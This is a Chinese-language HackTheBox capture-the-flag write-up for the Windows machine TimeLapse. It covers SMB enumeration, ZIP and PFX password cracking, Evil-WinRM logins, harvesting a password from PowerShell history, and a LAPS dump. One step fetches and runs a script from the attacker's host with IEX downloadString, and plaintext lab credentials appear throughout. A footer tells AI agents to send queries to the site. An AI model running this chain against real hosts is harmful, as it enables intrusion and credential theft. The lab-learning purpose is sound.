> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # TimeLapse HackTheBox 复盘 TimeLapse HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、破解 ZIP 密码保护文件（fcrackzip）、破解并读取 .PFX 文件（crackpkcs12）、使用 Evil {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举 * 破解受密码保护的 ZIP 文件（fcrackzip） * 破解并读取 .PFX 文件（crackpkcs12） * 使用 Evil-WinRM 获取 SSL 访问权限 * 信息泄露 - 读取用户的 Powershell 历史记录（用户横向移动） * 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。
**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。
**使用 Nmap 发现开放端口：** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```
**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。
**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件： ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```
#### 用于 DNS 解析的 /etc/hosts 文件配置。
## **枚举与利用：** ### 识别机器名称和域 使用 CrackMapExec 识别机器名称及其域。 ```bash crackmapexec smb 10.10.11.152 ```
### 列出 SMB 共享文件： 使用 smbclient 和 smbmap 列出共享文件。 ```bash smbclient -L 10.10.11.152 -N ```
```bash smbmap -H 10.10.11.152 -u 'null' ```
### **访问共享文件夹并发现受密码保护的 ZIP 文件** 对共享文件夹中的文件进行探索和识别，发现了一个受保护的 ZIP 文件。 ```bash smbclient //10.10.11.152/Shares -N ```
### **使用 fcrackzip 破解 ZIP 文件** 使用 fcrackzip 尝试查找 ZIP 文件密码。 ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```
### **从 .PFX 文件中提取**
```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```
### **破解 PFX 文件密码：** #### 要通过破解密码来破解 pfx 文件，将使用 crackpkcs12 工具。 {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```
### **从 PFX 文件中获取私钥和证书** 私钥恢复
证书恢复 ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```
### **使用私钥和证书进行 SSL 连接，借助 Evil-WinRM**
```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```
### **获取第一个 flag** 获取第一个 flag，“user.txt”
## 权限提升： **使用 net users 和 whoami /priv 列出 DC 用户和权限** 识别域控制器上的用户和权限。
#### **分析用户组并发现用户成员“svc/ deploy”属于“LAPS/ Readers”组**
#### **通过读取 PowerShell 历史记录获取用户“svc/ deploy”的密码** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```
### **使用 CrackMapExec 验证密码** 使用 CrackMapExec 确认密码有效。 ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```
### **使用用户凭据“svc/ deploy”登录 Evil-WinRM** 使用用户凭据“svc/ deploy”通过 Evil-WinRM 连接到远程系统。 
evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
### **使用 Get-LAPSPasswords 提取密码** {% embed url="" %} #### **下载 Get-LAPSPasswords 脚本** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```
### **脚本执行并恢复管理员密码**
### **使用 CrackMapExec 验证管理员密码** 使用 CrackMapExec 从用户管理员处确认密码有效。 ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```
### **使用管理员 ID 通过 Evil-WinRM 最终连接** 通过 Evil-WinRM 使用管理员凭据最终连接到系统。 ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```
### **最终 Flag 已获取 :)**
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.